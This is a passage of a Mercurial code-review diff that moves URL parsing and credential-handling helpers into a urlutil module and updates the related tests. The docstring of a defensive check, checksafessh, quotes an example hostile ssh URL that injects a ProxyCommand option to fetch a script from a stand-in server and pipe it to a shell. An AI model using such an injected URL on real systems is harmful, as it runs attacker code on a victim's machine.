320 s += urlreq.quote(self.user, safe=self._safechars)
321 if self.passwd:
322 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
323 if self.user or self.passwd:
324 s += b'@'
325 if self.host:
326 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
327 s += urlreq.quote(self.host)
328 else:
329 s += self.host
330 if self.port:
331 s += b':' + urlreq.quote(self.port)
332 if self.host:
333 s += b'/'
334 if self.path:
335 # TODO: similar to the query string, we should not unescape the
336 # path when we store it, the path might contain '%2f' = '/',
337 # which we should *not* escape.
338 s += urlreq.quote(self.path, safe=self._safepchars)
339 if self.query:
340 # we store the query in escaped form.
341 s += b'?' + self.query
342 if self.fragment is not None:
343 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
344 return s
345
346 __str__ = encoding.strmethod(__bytes__)
347
348 def authinfo(self):
349 user, passwd = self.user, self.passwd
350 try:
351 self.user, self.passwd = None, None
352 s = bytes(self)
353 finally:
354 self.user, self.passwd = user, passwd
355 if not self.user:
356 return (s, None)
357 # authinfo[1] is passed to urllib2 password manager, and its
358 # URIs must not contain credentials. The host is passed in the
359 # URIs list because Python < 2.4.3 uses only that to search for
360 # a password.
361 return (s, (None, (s, self.host), self.user, self.passwd or b''))
362
363 def isabs(self):
364 if self.scheme and self.scheme != b'file':
365 return True # remote URL
366 if hasdriveletter(self.path):
367 return True # absolute for our purposes - can't be joined()
368 if self.path.startswith(br'\\'):
369 return True # Windows UNC path
370 if self.path.startswith(b'/'):
371 return True # POSIX-style
372 return False
373
374 def localpath(self):
375 # type: () -> bytes
376 if self.scheme == b'file' or self.scheme == b'bundle':
377 path = self.path or b'/'
378 # For Windows, we need to promote hosts containing drive
379 # letters to paths with drive letters.
380 if hasdriveletter(self._hostport):
381 path = self._hostport + b'/' + self.path
382 elif (
383 self.host is not None and self.path and not hasdriveletter(path)
384 ):
385 path = b'/' + path
386 return path
387 return self._origpath
388
389 def islocal(self):
390 '''whether localpath will return something that posixfile can open'''
391 return (
392 not self.scheme
393 or self.scheme == b'file'
394 or self.scheme == b'bundle'
395 )
396
397
398 def hasscheme(path):
399 # type: (bytes) -> bool
400 return bool(url(path).scheme) # cast to help pytype
401
402
403 def hasdriveletter(path):
404 # type: (bytes) -> bool
405 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
406
407
408 def urllocalpath(path):
409 # type: (bytes) -> bytes
410 return url(path, parsequery=False, parsefragment=False).localpath()
411
412
413 def checksafessh(path):
414 # type: (bytes) -> None
415 """check if a path / url is a potentially unsafe ssh exploit (SEC)
416
417 This is a sanity check for ssh urls. ssh will parse the first item as
418 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
419 Let's prevent these potentially exploited urls entirely and warn the
420 user.
421
422 Raises an error.Abort when the url is unsafe.
423 """
424 path = urlreq.unquote(path)
425 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
426 raise error.Abort(
427 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
428 )
429
430
431 def hidepassword(u):
432 # type: (bytes) -> bytes
433 '''hide user credential in a url string'''
434 u = url(u)
435 if u.passwd:
436 u.passwd = b'***'
437 return bytes(u)
438
439
440 def removeauth(u):
441 # type: (bytes) -> bytes
442 '''remove all authentication information from a url string'''
443 u = url(u)
444 u.user = u.passwd = None
445 return bytes(u)
446
447
21 448 class paths(dict):
22 449 """Represents a collection of paths and their configs.
23 450
@@ -103,7 +530,7 b' def pathsuboption(option, attr):'
103 530
104 531 @pathsuboption(b'pushurl', b'pushloc')
105 532 def pushurlpathoption(ui, path, value):
106 u = util.url(value)
533 u = url(value)
107 534 # Actually require a URL.
108 535 if not u.scheme:
109 536 ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
@@ -148,7 +575,7 b' class path(object):'
148 575 raise ValueError(b'rawloc must be defined')
149 576
150 577 # Locations may define branches via syntax <base>#<branch>.
151 u = util.url(rawloc)
578 u = url(rawloc)
152 579 branch = None
153 580 if u.fragment:
154 581 branch = u.fragment
@@ -158,6 +158,7 b' expected_mods_tested = set('
158 158 ('mercurial.util', '{}'),
159 159 ('mercurial.utils.dateutil', '{}'),
160 160 ('mercurial.utils.stringutil', '{}'),
161 ('mercurial.utils.urlutil', '{}'),
161 162 ('tests.drawdag', '{}'),
162 163 ('tests.test-run-tests', '{}'),
163 164 ('tests.test-url', "{'optionflags': 4}"),
@@ -10,7 +10,10 b' from mercurial import ('
10 10 url,
11 11 util,
12 12 )
13 from mercurial.utils import stringutil
13 from mercurial.utils import (
14 stringutil,
15 urlutil,
16 )
14 17
15 18 urlerr = util.urlerr
16 19 urlreq = util.urlreq
@@ -60,7 +63,7 b' def test(auth, urls=None):'
60 63 print('URI:', pycompat.strurl(uri))
61 64 try:
62 65 pm = url.passwordmgr(ui, urlreq.httppasswordmgrwithdefaultrealm())
63 u, authinfo = util.url(uri).authinfo()
66 u, authinfo = urlutil.url(uri).authinfo()
64 67 if authinfo is not None:
65 68 pm.add_password(*_stringifyauthinfo(authinfo))
66 69 print(
@@ -198,10 +201,12 b' test('
198 201 def testauthinfo(fullurl, authurl):
199 202 print('URIs:', fullurl, authurl)
200 203 pm = urlreq.httppasswordmgrwithdefaultrealm()
201 ai = _stringifyauthinfo(util.url(pycompat.bytesurl(fullurl)).authinfo()[1])
204 ai = _stringifyauthinfo(
205 urlutil.url(pycompat.bytesurl(fullurl)).authinfo()[1]
206 )
202 207 pm.add_password(*ai)
203 208 print(pm.find_user_password('test', authurl))
204 209
205 210
206 print('\n*** Test urllib2 and util.url\n')
211 print('\n*** Test urllib2 and urlutil.url\n')
207 212 testauthinfo('http://user@example.com:8080/foo', 'http://example.com:8080/foo')
@@ -211,7 +211,7 b" CFG: {b'y.password': b'ypassword', b'y.p"
211 211 URI: http://example.org/foo
212 212 abort
213 213
214 *** Test urllib2 and util.url
214 *** Test urllib2 and urlutil.url
215 215
216 216 URIs: http://user@example.com:8080/foo http://example.com:8080/foo
217 217 ('user', '')
@@ -275,7 +275,7 b' check('
275 275 def test_url():
276 276 """
277 277 >>> from mercurial import error, pycompat
278 >>> from mercurial.util import url
278 >>> from mercurial.utils.urlutil import url
279 279 >>> from mercurial.utils.stringutil import forcebytestr
280 280
281 281 This tests for edge cases in url.URL's parsing algorithm. Most of
General Comments 0
You need to be logged in to leave comments. Login now